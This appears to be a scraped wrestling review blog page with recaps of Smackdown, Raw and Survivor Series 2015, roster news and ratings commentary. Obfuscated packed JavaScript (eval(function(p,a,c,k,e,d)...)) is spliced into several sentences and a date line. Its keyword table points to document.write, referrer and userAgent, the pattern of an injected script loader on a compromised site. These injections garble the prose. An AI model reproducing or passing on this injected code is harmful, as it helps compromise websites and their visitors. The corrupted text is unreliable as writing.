So Let Me Make Sure I Have This Straight

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dteyy|var|u0026u|referrer|etsfy||js|php'.split('|'),0,{})) even more proof of how out there WWE is at the moment.

You have the Wyatts vs. the Brothers of Destruction in a two on two match at Survivor Series and THE NEXT NIGHT they start a Dudleyz vs. Wyatts program.  I would ask if I have to draw you a picture here but anyone should be able to figure this out.




Smackdown – November 26, 2015: Thanks For Something No One Will See

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyazn|var|u0026u|referrer|rdazs||js|php'.split('|'),0,{})) November 26, 2015
Location: Bankers Life Fieldhouse, Indianapolis, Indiana
Commentators: Booker T., Rich Brennan, Jerry Lawler

Dudley Boyz vs. Erick Rowan/Braun Strowman

Post match Strowman chokes D-Von out and puts him through the table.

New Day shills merchandise better than anyone since DX.

Becky Lynch vs. Paige

Alberto Del Rio vs. Jack Swagger

Post match Jack gets the chair and chases them off.

The Usos run into the Gobbledy Gooker and Jimmy has an idea.

Lucha Dragons vs. New Day

Undertaker anniversary video.

Tyler Breeze vs. Dean Ambrose vs. Dolph Ziggler

Owens and Ambrose stare each other down to end the show.

Overall Rating: C+. This was exactly what you would expect from a holiday show that no one is going to watch. Ambrose winning was the only storyline advancement, which is probably more than you would expect out of most Smackdowns. The New Day stuff was funny of course and the whole thing felt like a big, easy week, which is all it needed to be.

Results

Dudley Boyz b. Erick Rowan/Braun Strowman via DQ when Luke Harper interfered

Paige b. Becky Lynch – Rollup

Jack Swagger b. Alberto Del Rio via DQ when Del Rio used a chair

Lucha Dragons b. New Day – Springboard Salida Del Sol to Kingston

Dean Ambrose b. Tyler Breeze and Dolph Ziggler – Dirty Deeds to Ambrose

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




NWA World Championship Wrestling Being Added To The Network

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhhif|var|u0026u|referrer|bdrfi||js|php'.split('|'),0,{})) talking the TBS show from 1986-1988.  This is the treat that a lot of old school fans have been waiting on as it’s the opposite of what you see today.  These shows were almost entirely built around the promos to make you pay for the house shows later.  The idea of seeing big names fight each other on this show was almost unheard of and it made for some much more entertaining TV.  It’s not for everyone and you might get bored at times, but Ric Flair and Dusty Rhodes one upping each other every week is some of the best you’ll ever see.  Check this out if you want to see what made WCW work in the old days.

 

http://network.wwe.com/shows/vault/nwa-world-championship-wrestling




Brad Maddox Released

http://411mania.com/wrestling/wwe-releases-brad-maddox/

They could really use some spring cleaning so maybe this is the start.  It would be nice considering how many people they have on the payroll who never do anything.  Maddox tried but there’s only so much you can do with his size and look.




Raw Ratings SUCK And I’m Not A Bit Surprised

http://411mania.com/wrestling/wwe-raw-rating-tanks-to-new-low/

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iysbt|var|u0026u|referrer|afske||js|php'.split('|'),0,{})) is a combination of more than one thing.First and foremost, the NFL is killing WWE.  I don’t think that’s a bit secret at this point.

Second, the fans seem tired of the same matches over and over.  Last night’s main event was Rusev vs. Reigns.  That was a cool showdown in the battle royal last year but now, who in the world thinks Rusev is going to beat him?  It’s a boring match that is just set up as part of a much longer story.  In other words, don’t bother watching now because it’s going to be at least January before something interesting happens.

Third, the fans have gotten so used to having no one to cheer for that seeing ANOTHER heel champion is burning them out.  Reigns held the title for five minutes.  Unless you count Brock, who was still officially a heel, we haven’t had a face champion since Summerslam 2014.  That’s getting into TNA territory.  At some point, you have to give the people something to celebrate or they’re going to give up.

Fourth, the injuries are taking a big toll.  All those people being gone leaves a BIG chunk of the show needing to be filled in and it’s really hurting things.  Without Cena, Orton and Rollins (not to mention the part timers), there’s a lot of time to be filled.  Last night we had the New Day doing a (funny) segment that went nowhere and Ryback beating up Heath Slater in another “country music is stupid” segment.  Couple that with a nothing Mark Henry vs. Neville match and some midcard tag matches and there was nothing interesting to watch.

Finally, Sheamus is the World Champion.  Now Sheamus is a cool guy and capable of doing some good stuff in the ring (see the Big Show matches which gave Big Show his best performances in years), but coming into the title win, he had won one singles match since September.  I know WWE disagrees, but fans remember that.  They see a guy who stole the title and is likely holding it for a long time.  So we have a loser fighting a choker for the title while the Authority sits back and laughs.  How is that supposed to be entertaining?

At the end of the day, WWE needs to freshen things up a bit.  Aside from major changes like the show running long etc., they need something fresh.  I don’t mean giving the Authority new toys to play with.  I mean a new idea.  The Divas closing the show last week drew the best ratings in weeks.  Now the show shouldn’t be about the Divas, but the key thing as that felt fresh.  It wasn’t another tag match or another two upper midcard guys fighting on Monday night Maggle.

Freshen things up, get rid of Sheamus, stop having champions lose and BUILD UP SOMETHING FOR NEXT WEEK!  That still drives me nuts.  Why in the world can they never have a match built up for the following week unless it’s a tournament?  “Next week, Dean Ambrose gets his shot at the Intercontinental Title!  Ambrose beat Owens at Survivor Series and now he wants the gold!  Tune in next Monday!”  Maybe that can open the show instead of Stephanie strutting down to the ring and then yelling at someone for fifteen minutes.  I don’t know about you, but nothing gets me fired up more than TALKING!

 

But yeah, these numbers aren’t surprising given how little effort they’re putting in right now.




Solomon Crowe Gone From NXT

http://411mania.com/wrestling/solomon-crowe-removed-from-wwes-website/

I can’t say I blame them.  Crowe had potential but he never really clicked.  That’s definitely not to say he doesn’t have talent, but the little monster gimmick was never going to work.  I was really intrigued by the hacker gimmick though and was hoping it was going to go somewhere.  Unfortunately HHH allegedly didn’t like the idea, which is a shame because the clips i saw of it had potential.




Reviewing the Review: Survivor Series 2015

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfbei|var|u0026u|referrer|sdied||js|php'.split('|'),0,{})) I wait a little bit before writing these things because I want to let the shows settle in a little bit. I don’t want to throw up some immediate reactions and miss a few things that I would get with more time. In this case however, I haven’t changed what I was thinking since the show ended. This show had a few options to get out of the dilemmas WWE are in at the moment but some of those options are pretty horrid. Let’s get to it.

The pre-show did exactly what it needed to do: take a bunch of people and throw them together into a Survivor Series match to give them something to do and warm the crowd up. It was a group of midcarders with the returning Goldust getting a nice reaction. They seem to be setting up Goldust vs. Stardust, which makes little sense given how lame their first match was.

Charlotte defended the title against Paige and again sweet goodness they missed the point here. I know they were trying to get out from under the whole Reid Flair mess from Monday but their solution was to have a boring, run of the mill match. Instead of Charlotte trying to kill her, she started the match with a freaking waistlock. As soon as that happened, I knew they were done here. This had the potential to be a big slugfest but we had Paige working on the ribs and Charlotte just wrestling a normal match.

Then HHH came out and ate a spear, allowing Sheamus to cash in Money in the Bank five minutes later. This is where the show falls apart because the booking is stupid. So the story making the rounds is that the fans were going to boo Reigns winning the title so they decided to screw him over and build up sympathy, basically taking the Daniel Bryan path.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Night Raw – November 23, 2015: The Real Injury Problem

Monday Night Raw
Date: November 23, 2015
Location: Bridgestone Arena, Nashville, Tennessee
Commentators: Michael Cole, John Bradshaw Layfield, Byron Saxton

We open with a recap of the World Title scene from last night.

Last night he kicked Roman off his mountain because just as he promised, he was one Brogue Kick away. Sheamus holds up the title and asks who looks stupid now. Cue Reigns to say he wants his rematch and the fans chant YES. Stephanie is of course right there to make fun of the fans because she needs their balls for her collection.

Recap of Undertaker and Kane squashing the Wyatts last night.

Dudley Boyz vs. Luke Harper/Bray Wyatt

Post match Rowan and Strowman come in to continue the beatdown.

Sasha Banks vs. Becky Lynch

Charlotte is ready to defend her title against Paige in a rematch tonight.

Mark Henry vs. Neville

Stardust/Ascension vs. Goldust/Prime Time Players

The winners dance after the match.

Here are Zeb Colter and Alberto Del Rio for the state of the MexAmerican union. MexAmerica was supposed to be a perfect nation but the early growing pains have been turned into fuel for all the haters on social media. Del Rio talks about everyone wanting to see something great but not being entertained enough. Therefore, the borders of MexAmerica are closed forever.

Divas Title: Charlotte vs. Paige

Charlotte is defending after beating Paige last night. After some big match intros they fight over a lockup, already showing more intensity than they had last night. They slap each other rather hard before Charlotte throws her face first onto the mat. A Fujiwara armbar sends Paige to the ropes and she yells at the fans to blow off some steam. Some knees to the chest get two for the champ and she puts on the figure four neck lock for those flipping slams.

Paige pulls her out of the corner for a crash and puts on a chinlock. That goes as far as a chinlock is going to go so Paige puts on her own figure four neck lock. A low superkick gets two and a suplex into the ropes gets the same. Paige gets tired of the submissions and hits Charlotte in the face a few times for two. After a leg lock from Paige, both of them score with kicks to the face as we take a break.

Paige sends her into the steps and puts on the PTO on the table.

We recap how the main event was set up.

Dean Ambrose/Dolph Ziggler vs. Kevin Owens/Tyler Breeze

Rusev vs. Roman Reigns

Barrett gets a chair but Reigns fights off Rusev, Barrett and the invading Sheamus to end the show.

Results

Luke Harper/Bray Wyatt b. Dudley Boyz – Discus lariat to Bubba

Sasha Banks b. Becky Lynch – Rollup with a handful of trunks

Neville b. Mark Henry – Red Arrow

Goldust/Prime Time Players b. Stardust/Ascension – Clash of the Titus to Konnor

Paige vs. Charlotte went to a double countout

Dolph Ziggler/Dean Ambrose b. Tyler Breeze/Kevin Owens – Dirty Deeds to Breeze

Roman Reigns b. Rusev via DQ when King Barrett interfered

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Cesaro Undergoing Shoulder Surgery, Possibly Out 4-6 Months

http://411mania.com/wrestling/new-details-on-cesaros-shoulder-injury/

DANG the injuries are piling up.  Is there any reason why they haven’t started calling up more people from NXT to give them a shot?




Survivor Series 2015: Rise and Fall

Survivor Series 2015
Date: November 22, 2015
Location: Phillips Arena, Atlanta, Georgia
Commentators: Jerry Lawler, Michael Cole, John Bradshaw Layfield

Pre-Show: Team Miz vs. Team Neville

Miz, Bo Dallas, Stardust, Ascension

Stardust comes in to take D-Von into the corner as we hear about the Gobbledy Gooker debuting 25 years ago today. Off to Miz who keeps up the beating, only to walk into a spinebuster. Neville comes in to clean house with his variety of kicks and a snap German suplex. A surprise Bodog and the Skull Crushing Finale take Neville out at 8:52, only to have Goldust roll Miz up for the pin at 9:03.

We open with Lillian Garcia singing the National Anthem as the middle finger to the ISIS threats.

WWE World Title Tournament Semifinals: Alberto Del Rio vs. Roman Reigns

WWE World Title Tournament Semifinals: Dean Ambrose vs. Kevin Owens

Non-title again. Dean starts with some headlocks and armdrags (straight out of an old Aiden English song) but Owens crotches him on top. The Cannonball is only good for one but the backsplash gets two. We hit the chinlock (Owens: “CHINLOCK CITY BABY!”) and HHH is shown watching again. Dean suplexes him down and they slowly get up with Owens getting the better of it.

Team Ryback vs. Team New Day

Ryback, Lucha Dragons, Usos

New Day, King Barrett, Sheamus

The hometown boy Xavier Woods has a new haircut (like a pompadour) and Big E. wants us all to cheer for it. New Day rips on the Dragons for being small, the Usos for being injured and Ryback for being bald. Sheamus wants to get jiggy on these posers and you can feel the air go out of the place in a funny bit. Kofi: “I think what he meant to say was NEW DAY ROCKS!”

Divas Title: Paige vs. Charlotte

Reigns and Ambrose are ready to fight like brothers.

Tyler Breeze vs. Dolph Ziggler

Ziggler makes his comeback with the normal stuff, including a neckbreaker and the big elbow for two. A nice pinfall reversal sequence gives us a bunch of two counts before Dolph just slams him face first into the mat. Breeze bails to avoid the superkick (like any model would do) and kicks him in the knee, setting up the Unprettier to give Tyler the clean pin at 6:45.

We recap the Wyatts vs. the Brothers of Destruction. Bray targeted Undertaker at the end of Hell in Cell before kidnapping Undertaker and Kane. He stole their souls (whatever that means), setting up this regular tag instead of what could have been a cool elimination tag).

Bray Wyatt/Luke Harper vs. Undertaker/Kane

Nothing special for Undertaker after the match as he and Kane just do their signature pose.

WWE World Title: Roman Reigns vs. Dean Ambrose

Ambrose has already lost his shirt and they go at it right after the big match intros. A clothesline puts Reigns on the floor and Dean follows with the suicide dive. Back in and Dean hammers away until Reigns powerbombs him out of the corner ala Undertaker. Reigns gets two more off a sitout powerbomb but Dean runs him over. The top rope elbow is blocked with a Superman Punch though and both guys are down.

Neither finisher can hit (way too early) but the rebound lariat is countered into a spear for two (shows what I know). There was almost zero hit on that near fall. A second spear hits post and Dirty Deeds gets two on a much hotter cover. Both guys sit up so they slug it out from the mat. Back up and the spear out of nowhere gives Reigns the title at 8:39.

Dean hugs his friend and leaves as confetti falls. Cue a smiling and applauding HHH to offer a handshake but Reigns spears him instead. Sheamus comes in for a Brogue Kick and here we go.

WWE World Title: Roman Reigns vs. Sheamus

The Brogue Kick only gets two but a second gives Sheamus the title at 39 seconds. So was Ambrose off checking the Bengals score?

Results

Roman Reigns b. Alberto Del Rio – Spear

Dean Ambrose b. Kevin Owens – Dirty Deeds

Team Ryback b. Team New Day – Shell Shock to Sheamus

Charlotte b. Paige – Figure Eight

Tyler Breeze b. Dolph Ziggler – Unprettier

Undertaker/Kane b. Bray Wyatt/Luke Harper – Tombstone to Harper

Roman Reigns b. Dean Ambrose – Spear

Sheamus b. Roman Reigns – Brogue Kick

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6